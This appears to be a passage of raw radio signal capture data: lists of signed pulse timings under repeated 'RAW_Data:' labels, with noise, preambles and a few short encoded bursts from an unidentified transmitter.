-323 69 -135 85 -230 82 -273 59 -90 53 -721 120 -476 53 -161 81 -524 55 -80 59 -100 55 -242 53 -90 67 -135 79 -64 119 -145 63 -80 53 -204 105 -206 53 -198 53 -658 -RAW_Data: 61 -452 123 -143 97 -105 59 -789 114 -83 61 -969 51 -207 95 -272 113 -394 71 -253 85 -1475 104 -290 65 -100 93 -253 75 -220 83 -134 102 -1319 59 -404 75 -64 69 -54 143 -740 98 -190 53 -442 53 -156 107 -624 61 -170 59 -62 53 -62 115 -86 79 -96 61 -52 53 -606 65 -204 109 -125 277 -99 95 -60 65 -217 51 -64 97 -152 79 -458 89 -231 62 -66 75 -405 184 -176 132 -350 92 -128 142 -305 258 -300 79 -90 153 -162 290 -89 89 -540 111 -190 53 -82 384 -82 71 -172 104 -54 111 -84 102 -182 251 -128 75 -156 75 -96 93 -108 161 -174 81 -228 59 -268 53 -98 85 -64 51 -168 53 -170 114 -134 225 -134 89 -64 53 -66 89 -133 125 -90 75 -66 121 -514 244 -100 178 -116 139 -287 129 -249 120 -94 141 -79 90 -64 71 -350 83 -406 73 -182 303 -151 133 -658 127 -98 117 -583 99 -194 53 -212 63 -321 51 -222 71 -210 96 -257 203 -217 91 -325 63 -230 75 -486 59 -391 81 -773 61 -623 51 -455 51 -108 53 -62 63 -151 146 -322 112 -171 61 -251 61 -263 79 -255 51 -603 53 -52 79 -276 57 -244 53 -66 51 -266 53 -120 181 -985 88 -717 59 -503 69 -144 53 -64 53 -837 51 -68 69 -138 85 -116 92 -84 137 -82 79 -775 194 -212 85 -80 63 -84 113 -106 61 -52 132 -247 59 -198 53 -234 87 -280 79 -260 59 -568 71 -85 51 -90 67 -175 112 -125 120 -120 105 -64 85 -215 53 -457 65 -539 51 -178 57 -290 97 -154 106 -420 61 -86 63 -120 85 -100 109 -56 63 -556 55 -306 107 -62 53 -166 186 -82 143 -355 59 -434 117 -138 59 -90 71 -72 53 -198 152 -90 51 -76 172 -212 91 -577 95 -102 51 -94 63 -186 125 -377 174 -214 65 -363 79 -334 116 -260 53 -78 51 -346 63 -281 87 -151 65 -165 51 -84 81 -986 53 -107 61 -80 89 -483 67 -148 53 -126 71 -283 57 -180 191 -428 81 -254 102 -828 77 -181 59 -178 83 -62 88 -210 53 -130 91 -64 120 -80 79 -305 117 -206 69 -480 119 -488 93 -83 141 -78 192 -78 51 -120 127 -52 65 -86 89 -100 67 -134 104 -251 53 -126 416 -80 167 -404 89 -169 71 -60 206 -72 69 -80 97 -72 61 -100 77 -80 53 -182 149 -80 105 -285 59 -193 131 -74 127 -107 85 -292 210 -160 200 -94 53 -242 70 -54 59 -120 338 -54 107 -80 197 -56 65 -156 214 -82 426 -60 51 -68 81 -151 110 -60 162 -171 53 -68 109 -129 116 -228 -RAW_Data: 245 -243 151 -52 105 -146 65 -66 178 -104 51 -60 291 -62 223 -58 110 -118 255 -395 85 -54 97 -110 59 -76 69 -229 61 -125 90 -110 149 -70 77 -199 81 -211 114 -172 183 -348 99 -260 67 -72 71 -224 77 -166 51 -161 75 -430 71 -114 67 -228 61 -203 53 -62 84 -281 75 -89 112 -160 125 -921 106 -154 59 -163 63 -52 93 -204 145 -98 51 -249 51 -94 99 -54 81 -298 61 -262 61 -326 137 -635 161 -313 67 -168 120 -799 53 -546 160 -323 96 -206 173 -52 65 -54 118 -214 96 -54 75 -153 140 -104 59 -312 71 -152 71 -1087 115 -482 105 -414 106 -377 81 -64 107 -182 140 -68 71 -292 55 -54 148 -379 132 -350 67 -357 110 -66 75 -90 198 -166 59 -58 65 -593 65 -148 107 -123 51 -264 61 -90 63 -528 71 -482 53 -212 75 -148 111 -251 81 -122 53 -206 53 -52 51 -427 87 -56 63 -80 116 -602 53 -334 189 -88 65 -256 158 -124 97 -82 61 -112 103 -240 69 -111 81 -164 164 -241 167 -172 107 -176 96 -303 61 -164 79 -64 61 -80 97 -78 105 -161 53 -72 53 -274 71 -157 71 -188 77 -332 81 -708 83 -149 89 -209 254 -88 115 -94 75 -90 170 -182 71 -744 81 -441 202 -74 61 -132 77 -152 83 -276 61 -342 53 -400 73 -495 126 -410 59 -191 67 -96 110 -153 67 -103 83 -204 78 -450 103 -287 61 -295 97 -95 98 -54 57 -110 199 -278 87 -1259 59 -251 61 -318 71 -290 76 -116 53 -121 61 -126 53 -64 116 -403 74 -136 957 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 267 -52 117 -203 209 -54 63 -126 115 -170 51 -120 105 -123 65 -675 65 -140 135 -765 97 -1055 150 -84 51 -54 57 -64 59 -432 69 -469 96 -400 51 -62 57 -181 67 -78 115 -463 99 -642 140 -247 142 -144 61 -114 69 -754 119 -381 51 -62 102 -505 77 -184 51 -52 140 -96 97 -113 112 -215 63 -104 167 -52 147 -192 113 -579 57 -215 63 -252 115 -778 53 -90 71 -196 53 -159 89 -225 137 -104 80 -60 71 -125 105 -56 170 -345 107 -62 71 -54 106 -348 71 -54 94 -233 71 -62 106 -64 71 -543 140 -418 142 -254 228 -206 79 -58 61 -144 113 -386 109 -337 75 -358 59 -99 53 -276 91 -231 98 -170 53 -180 59 -445 75 -265 61 -124 51 -478 71 -104 67 -432 96 -417 69 -485 59 -370 51 -627 51 -156 55 -125 65 -54 161 -523 146 -570 59 -422 106 -677 61 -347 87 -1099 53 -475 59 -98 55 -283 197 -136 103 -138 61 -840 87 -132 99 -170 53 -392 53 -259 61 -132 51 -219 81 -106 73 -447 71 -645 51 -272 51 -277 109 -235 126 -273 53 -308 83 -147 53 -82 67 -506 89 -142 55 -119 59 -288 115 -268 117 -94 70 -533 89 -257 73 -119 75 -56 164 -156 57 -156 51 -194 59 -482 51 -84 67 -292 61 -319 71 -76 105 -390 51 -667 111 -172 73 -74 71 -546 1055 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -64 61 -64 63 -64 61 -64 127 -64 63 -62 63 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -126 127 -56 69 -126 127 -128 127 -128 55 -68 125 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -126 65 -62 63 -64 61 -64 63 -64 127 -128 127 -56 69 -126 127 -128 127 -56 69 -62 63 -62 63 -128 129 -128 127 -54 71 -124 65 -62 127 -64 61 -128 127 -128 63 -62 125 -128 63 -64 125 -128 127 -56 69 -126 65 -62 127 -128 127 -56 69 -62 63 -126 65 -62 127 -64 63 -62 63 -126 129 -64 271 -428 59 -352 122 -490 97 -229 104 -482 59 -136 96 -210 142 -148 89 -84 51 -468 81 -287 59 -240 61 -130 61 -230 51 -227 61 -374 109 -682 53 -108 71 -86 83 -890 195 -167 51 -205 132 -136 119 -52 75 -200 160 -403 89 -696 91 -204 98 -590 51 -336 51 -54 75 -236 78 -541 59 -436 61 -66 51 -314 53 -98 94 -201 95 -72 161 -64 61 -126 81 -78 122 -250 157 -200 88 -1096 147 -196 53 -89 150 -414 82 -144 69 -504 77 -279 67 -112 81 -209 81 -142 75 -127 89 -186 83 -213 79 -82 101 -76 59 -114 95 -766 88 -204 57 -98 65 -382 77 -936 75 -101 133 -54 98 -142 53 -88 71 -60 99 -140 53 -330 65 -150 79 -369 61 -798 61 -516 92 -98 53 -219 61 -262 67 -84 59 -86 138 -412 233 -150 59 -302 55 -525 124 -234 51 -343 138 -293 51 -279 86 -197 142 -249 81 -144 53 -66 89 -64 78 -249 130 -476 63 -102 53 -136 95 -138 87 -1008 111 -348 141 -219 69 -394 75 -362 65 -130 132 -1222 98 -387 147 -424 67 -549 51 -458 121 -290 125 -132 53 -283 105 -92 75 -186 126 -275 93 -246 53 -165 149 -166 63 -162 53 -96 59 -165 146 -52 65 -344 71 -54 61 -363 61 -563 57 -62 78 -222 63 -90 75 -161 81 -468 97 -86 148 -222 76 -268 65 -207 71 -195 139 -216 177 -98 95 -62 65 -164 105 -250 156 -303 63 -209 105 -376 69 -91 197 -268 168 -85 125 -179 53 -275 53 -197 101 -84 -RAW_Data: 53 -52 59 -468 89 -140 51 -376 104 -52 59 -60 63 -80 107 -100 53 -170 231 -92 85 -298 106 -516 77 -431 73 -254 51 -149 94 -513 53 -136 67 -370 67 -1002 51 -409 51 -609 63 -54 82 -52 87 -257 89 -124 59 -152 61 -119 61 -136 75 -346 55 -310 53 -244 131 -229 97 -499 68 -466 85 -201 75 -407 124 -242 53 -131 63 -68 55 -221 96 -297 99 -267 51 -262 67 -119 86 -1119 71 -134 51 -195 53 -444 61 -822 117 -964 96 -214 89 -98 76 -62 63 -547 88 -453 77 -217 105 -52 77 -164 114 -469 96 -168 55 -470 53 -243 158 -173 63 -170 59 -180 140 -216 78 -493 94 -118 61 -418 72 -80 61 -125 51 -205 75 -261 133 -818 61 -461 59 -502 59 -369 59 -478 59 -166 63 -172 66 -481 53 -108 61 -86 75 -224 124 -118 73 -68 81 -386 71 -258 51 -1176 104 -257 135 -477 59 -82 77 -68 89 -680 135 -120 101 -277 61 -434 51 -104 113 -759 80 -1425 63 -889 61 -474 94 -90 149 -196 110 -240 61 -218 75 -230 61 -329 63 -333 53 -64 73 -514 93 -70 200 -896 123 -360 67 -229 105 -62 147 -202 53 -162 91 -667 112 -54 53 -193 83 -90 81 -98 53 -100 94 -149 163 -140 51 -75 186 -208 53 -656 96 -438 213 -162 55 -222 53 -72 69 -146 59 -266 71 -72 53 -151 63 -176 74 -751 100 -395 88 -108 61 -303 102 -136 51 -576 115 -98 110 -433 53 -118 90 -80 125 -68 69 -80 107 -393 53 -305 53 -54 83 -116 89 -187 63 -117 53 -80 53 -613 63 -254 67 -70 53 -447 106 -208 77 -182 81 -231 59 -86 218 -102 75 -80 420 -470 127 -68 51 -82 75 -153 51 -234 59 -104 61 -154 53 -54 51 -68 77 -90 61 -244 71 -310 209 -170 71 -106 117 -278 65 -108 53 -184 243 -84 77 -244 218 -193 55 -142 61 -108 85 -134 53 -60 81 -675 55 -754 177 -140 85 -191 71 -112 67 -163 53 -540 53 -146 116 -395 63 -199 71 -482 59 -292 71 -586 61 -157 115 -351 71 -172 75 -460 67 -337 99 -62 114 -326 79 -202 83 -72 53 -72 61 -522 51 -306 129 -329 53 -52 204 -622 51 -232 51 -456 94 -449 145 -249 80 -442 174 -72 61 -136 61 -639 67 -476 73 -441 61 -166 55 -195 69 -84 79 -835 132 -140 108 -136 69 -142 55 -82 59 -729 59 -411 67 -96 112 -76 53 -74 81 -223 301 -68 107 -445 51 -72 97 -97 141 -732 53 -108 71 -482 59 -150 51 -731 76 -366 87 -201 51 -560 61 -996 -RAW_Data: 79 -341 65 -121 99 -641 270 -136 61 -54 51 -344 63 -115 87 -429 139 -288 61 -72 63 -654 53 -198 134 -539 119 -161 80 -295 124 -182 106 -82 112 -324 105 -246 53 -295 88 -98 78 -74 90 -71 123 -305 53 -244 676 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 382 -90 59 -121 103 -214 61 -323 107 -254 67 -275 174 -192 326 -95 59 -119 256 -58 59 -174 101 -235 63 -52 113 -224 61 -52 247 -60 124 -241 146 -54 151 -124 93 -91 55 -128 53 -224 199 -98 88 -52 71 -52 59 -54 53 -54 98 -90 79 -114 53 -817 134 -815 75 -361 71 -72 73 -52 113 -133 129 -381 85 -308 97 -149 81 -100 65 -60 107 -54 111 -136 85 -164 69 -587 79 -184 91 -242 -RAW_Data: 86 -245 108 -54 104 -178 176 -914 87 -241 167 -489 59 -245 119 -56 155 -126 71 -547 75 -78 53 -76 75 -159 63 -599 51 -219 98 -438 61 -179 142 -227 86 -56 90 -1012 53 -219 59 -62 53 -80 67 -124 85 -339 61 -196 223 -253 87 -102 130 -189 57 -208 81 -516 51 -292 88 -249 89 -747 53 -60 73 -90 167 -663 59 -236 101 -468 67 -81 77 -310 94 -88 110 -160 148 -370 59 -210 53 -353 61 -100 51 -364 59 -290 65 -272 61 -193 53 -54 97 -104 59 -216 93 -153 79 -617 125 -370 59 -201 67 -100 90 -90 109 -132 51 -117 71 -313 110 -106 59 -794 289 -138 51 -503 104 -123 71 -599 59 -212 53 -620 67 -198 53 -161 59 -282 147 -105 63 -144 51 -78 53 -100 96 -143 173 -84 71 -217 106 -295 1128 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -126 65 -62 63 -62 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -64 61 -126 129 -128 127 -126 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 127 -56 69 -62 61 -128 129 -128 127 -126 55 -70 61 -64 61 -64 127 -128 129 -56 69 -62 61 -64 63 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 125 -130 63 -62 61 -64 125 -66 61 -64 61 -128 63 -64 63 -62 63 -64 127 -128 127 -58 69 -62 61 -128 339 -116 51 -116 117 -52 470 -70 137 -140 173 -229 67 -86 113 -84 65 -60 125 -103 88 -227 67 -80 53 -130 63 -144 179 -108 53 -670 81 -76 125 -986 170 -58 73 -112 121 -60 71 -60 81 -76 59 -254 78 -54 73 -231 73 -82 125 -924 79 -155 -RAW_Data: 75 -186 129 -142 149 -234 138 -364 61 -126 53 -72 53 -100 85 -806 67 -454 71 -429 83 -189 80 -117 61 -1245 59 -444 53 -270 94 -160 75 -2210 70 -960 85 -903 75 -323 51 -261 63 -72 132 -263 106 -175 216 -437 107 -1119 96 -342 157 -109 124 -168 81 -80 71 -462 79 -275 115 -360 65 -80 71 -106 99 -242 123 -227 51 -322 63 -348 90 -143 70 -146 84 -362 77 -142 81 -234 204 -255 77 -241 61 -52 97 -575 84 -125 98 -295 321 -153 113 -715 75 -203 65 -76 51 -183 80 -514 59 -106 99 -549 55 -166 51 -431 79 -52 239 -132 81 -114 107 -343 61 -122 213 -331 95 -171 67 -384 133 -247 71 -230 77 -575 71 -479 81 -120 89 -422 114 -252 65 -112 75 -413 61 -248 63 -78 51 -467 65 -80 131 -276 96 -675 51 -181 73 -155 81 -158 67 -187 53 -82 69 -54 61 -150 132 -78 115 -275 97 -222 128 -90 51 -144 156 -134 170 -107 99 -62 97 -124 53 -82 188 -84 208 -100 59 -121 98 -144 161 -151 63 -278 303 -524 228 -185 106 -236 85 -74 268 -530 149 -98 99 -131 118 -212 121 -132 75 -102 257 -248 152 -72 71 -143 89 -220 104 -276 73 -237 114 -116 148 -98 53 -90 53 -297 63 -133 71 -99 251 -630 65 -200 123 -328 146 -82 99 -161 219 -171 71 -139 53 -122 80 -232 79 -185 79 -132 260 -78 101 -96 78 -62 227 -58 81 -100 71 -141 190 -154 101 -320 53 -115 127 -239 89 -321 111 -404 77 -275 174 -252 99 -186 175 -52 51 -288 59 -375 51 -507 69 -156 63 -52 96 -207 132 -807 130 -74 89 -90 63 -139 57 -160 53 -832 51 -110 61 -377 132 -208 61 -64 160 -247 55 -844 150 -97 63 -116 59 -125 108 -100 87 -98 53 -258 129 -122 61 -126 57 -202 97 -66 149 -624 67 -126 70 -116 66 -70 59 -54 53 -360 89 -167 106 -141 53 -160 132 -108 59 -212 53 -364 75 -138 51 -309 67 -339 81 -756 53 -325 102 -124 53 -572 59 -260 81 -105 79 -805 114 -257 61 -64 51 -264 69 -227 252 -389 82 -218 53 -146 157 -280 124 -125 130 -223 61 -58 103 -239 150 -218 69 -86 67 -644 93 -132 107 -98 78 -472 69 -108 65 -540 59 -88 87 -64 79 -477 51 -464 136 -938 119 -98 95 -679 169 -82 103 -108 111 -248 61 -108 91 -359 124 -204 59 -262 113 -125 59 -240 62 -516 98 -54 53 -193 67 -383 63 -245 53 -98 95 -384 96 -68 100 -84 63 -1321 173 -244 120 -258 61 -54 81 -1178 53 -315 -RAW_Data: 61 -254 67 -867 70 -408 170 -152 78 -660 170 -134 77 -338 61 -130 142 -74 63 -673 77 -54 53 -722 91 -211 105 -273 71 -107 53 -339 88 -78 81 -58 61 -322 63 -60 77 -168 88 -165 164 -320 135 -590 173 -92 87 -84 164 -64 255 -448 162 -569 81 -52 186 -120 135 -138 234 -52 69 -54 57 -76 73 -66 264 -259 61 -196 61 -76 55 -100 135 -114 182 -138 77 -98 237 -70 288 -107 229 -72 84 -366 97 -205 111 -237 113 -196 209 -149 69 -80 145 -74 153 -142 173 -109 370 -72 103 -60 53 -205 105 -74 89 -97 141 -60 105 -52 292 -138 153 -148 76 -307 113 -86 137 -212 264 -126 51 -183 106 -201 88 -197 87 -164 79 -54 103 -157 149 -169 51 -64 53 -551 147 -130 127 -98 230 -162 53 -90 57 -70 187 -122 335 -54 77 -52 85 -80 143 -223 256 -187 51 -102 265 -170 142 -68 89 -52 69 -130 150 -160 99 -80 146 -196 91 -120 203 -237 105 -135 51 -60 202 -141 65 -58 161 -404 53 -123 71 -88 131 -115 69 -92 69 -79 53 -98 237 -93 61 -186 124 -189 94 -138 71 -275 53 -122 75 -133 229 -290 99 -172 61 -334 61 -114 57 -1108 73 -301 62 -201 51 -88 105 -312 51 -578 92 -1124 71 -64 53 -258 147 -88 106 -250 181 -208 67 -250 53 -591 81 -278 53 -198 95 -172 59 -106 119 -269 67 -599 51 -438 51 -408 51 -181 95 -78 53 -84 55 -386 87 -1172 61 -438 59 -334 111 -508 77 -372 132 -474 61 -402 85 -536 97 -115 71 -428 106 -188 135 -248 59 -303 104 -477 65 -415 116 -395 71 -56 51 -108 53 -206 65 -185 210 -577 166 -287 89 -151 239 -394 108 -119 89 -60 73 -158 107 -566 193 -67 67 -298 104 -171 61 -88 63 -107 79 -82 61 -82 53 -434 93 -125 75 -104 98 -551 82 -275 61 -66 75 -535 71 -142 159 -80 119 -75 59 -114 59 -82 81 -332 71 -62 65 -106 124 -62 61 -192 67 -592 65 -170 116 -329 132 -298 105 -128 51 -72 53 -122 53 -312 61 -122 81 -125 61 -291 59 -427 51 -515 53 -543 89 -353 91 -295 115 -187 97 -275 227 -335 1202 -54 71 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 191 -404 107 -171 161 -320 71 -74 71 -104 59 -134 53 -434 59 -154 133 -341 53 -143 136 -197 148 -166 53 -122 79 -78 65 -222 65 -523 53 -239 53 -120 51 -154 77 -111 87 -94 81 -54 124 -167 81 -227 89 -263 85 -52 57 -122 90 -54 128 -376 126 -64 67 -52 75 -501 71 -248 61 -72 145 -116 79 -70 79 -433 53 -223 142 -364 51 -632 79 -264 61 -186 134 -382 92 -504 71 -190 69 -64 129 -342 71 -1037 69 -578 89 -126 105 -246 61 -98 57 -899 59 -221 51 -287 63 -593 75 -90 51 -227 57 -306 89 -60 96 -621 81 -54 146 -54 67 -84 70 -308 67 -144 124 -160 117 -298 101 -133 51 -617 105 -602 131 -360 197 -182 104 -206 63 -72 53 -54 71 -187 135 -194 59 -220 77 -178 95 -221 123 -104 186 -322 85 -102 71 -162 170 -261 104 -283 67 -326 69 -111 59 -300 53 -279 98 -365 63 -106 59 -179 127 -104 89 -213 69 -142 53 -131 89 -189 61 -116 63 -98 83 -215 152 -116 75 -260 107 -279 84 -88 75 -64 142 -227 67 -461 59 -566 79 -245 51 -884 -RAW_Data: 53 -146 154 -359 89 -329 81 -333 156 -197 104 -304 1089 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -126 127 -56 69 -126 127 -128 127 -128 55 -70 123 -66 61 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 127 -128 127 -56 69 -62 63 -126 129 -128 127 -128 55 -70 61 -62 61 -64 127 -130 127 -56 69 -62 61 -64 63 -128 127 -128 63 -62 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -64 63 -62 63 -128 63 -62 127 -64 63 -62 63 -128 127 -128 127 -120 355 -54 51 -115 96 -288 121 -58 53 -95 77 -84 65 -112 59 -225 63 -211 63 -70 53 -597 61 -562 65 -111 99 -192 53 -84 57 -402 51 -136 79 -130 117 -151 77 -129 53 -86 53 -82 71 -107 61 -269 92 -363 53 -783 96 -118 79 -489 53 -118 73 -712 111 -114 51 -52 51 -70 53 -633 71 -871 73 -438 53 -92 253 -134 61 -147 59 -58 133 -497 99 -54 86 -58 75 -222 83 -218 94 -54 61 -162 51 -424 122 -72 100 -56 122 -58 75 -429 59 -239 81 -76 65 -530 75 -76 104 -239 82 -496 65 -154 63 -89 73 -539 125 -205 87 -93 122 -351 101 -123 53 -249 79 -134 107 -160 61 -72 95 -251 148 -382 59 -308 53 -270 111 -199 163 -255 82 -68 51 -120 53 -392 89 -896 79 -52 89 -102 109 -52 89 -90 53 -155 53 -207 59 -168 85 -134 75 -82 105 -60 114 -264 67 -52 53 -232 51 -74 178 -463 102 -577 157 -184 59 -138 51 -420 79 -160 201 -82 89 -328 75 -274 71 -56 106 -228 61 -140 67 -76 51 -277 -RAW_Data: 96 -365 88 -152 89 -76 81 -117 81 -72 107 -242 94 -207 83 -84 88 -62 111 -361 141 -324 81 -208 75 -104 67 -52 103 -106 171 -262 109 -255 125 -130 59 -116 88 -58 59 -238 73 -60 154 -248 53 -154 63 -224 61 -1191 53 -406 228 -133 89 -386 57 -100 124 -104 61 -82 95 -124 61 -86 78 -148 89 -677 89 -190 67 -419 51 -60 89 -241 132 -64 87 -387 65 -116 133 -302 61 -367 81 -125 79 -449 59 -770 61 -190 79 -58 155 -148 153 -399 57 -179 53 -303 292 -385 101 -106 99 -125 128 -254 69 -252 67 -89 122 -88 136 -144 160 -90 160 -100 103 -76 59 -92 107 -287 97 -108 69 -143 133 -192 88 -244 120 -68 153 -62 153 -68 97 -191 65 -69 161 -258 51 -113 89 -76 87 -223 53 -185 53 -183 55 -86 91 -54 138 -149 124 -352 115 -64 123 -119 67 -94 268 -88 57 -677 102 -167 146 -71 195 -64 115 -52 166 -52 116 -98 79 -250 89 -340 69 -147 59 -102 240 -232 61 -278 113 -76 65 -302 87 -393 51 -60 95 -138 188 -355 73 -146 103 -76 67 -403 59 -329 217 -68 95 -195 53 -54 67 -193 83 -204 77 -705 57 -246 67 -80 106 -124 83 -200 86 -211 71 -120 51 -156 79 -126 84 -190 53 -82 51 -95 53 -60 53 -118 195 -174 97 -519 51 -407 61 -464 